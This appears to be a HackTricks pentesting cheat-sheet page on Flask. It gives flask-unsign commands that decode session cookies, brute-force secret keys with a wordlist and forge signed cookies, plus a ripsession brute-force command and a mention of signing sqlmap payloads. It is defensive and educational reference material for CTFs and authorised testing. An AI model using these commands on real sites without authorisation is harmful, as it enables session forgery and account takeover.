HackTricks
Searchโ€ฆ
๐Ÿ‘ฝ
Network Services Pentesting
Flask
Support HackTricks and get benefits!
โ€‹
โ€‹
Through Security Skills as a Service, we help organizations to defend against the Dark Hacking Arts. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering high-quality penetration testing results. Security Hubs bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a complete assessment of any risks.
Security Skills as a Service | Security Hubs
โ€‹
Probably if you are playing a CTF a Flask application will be related to SSTI.

Cookies

Default cookie session name is session.

Decoder

Online Flask coockies decoder: https://www.kirsle.net/wizards/flask-session.cgiโ€‹

Manual

Get the first part of the cookie until the first point and Base64 decode it>
echo "ImhlbGxvIg" | base64 -d
The cookie is also signed using a password

Flask-Unsign

Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.
flask-unsign
PyPI
pip3 install flask-unsign
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute Force

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Signing

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Signing using legacy (old versions)

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Command line tool to brute-force websites using cookies crafted with flask-unsign.
GitHub - Tagvi/ripsession: A command line tool to brute-force websites using cookies crafted with flask-unsign.
GitHub
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
โ€‹This example uses sqlmap eval option to automatically sign sqlmap payloads for flask using a known secret.
โ€‹
โ€‹
Through Security Skills as a Service, we help organizations to defend against the Dark Hacking Arts. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering high-quality penetration testing results. Security Hubs bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a complete assessment of any risks.
Security Skills as a Service | Security Hubs
Support HackTricks and get benefits!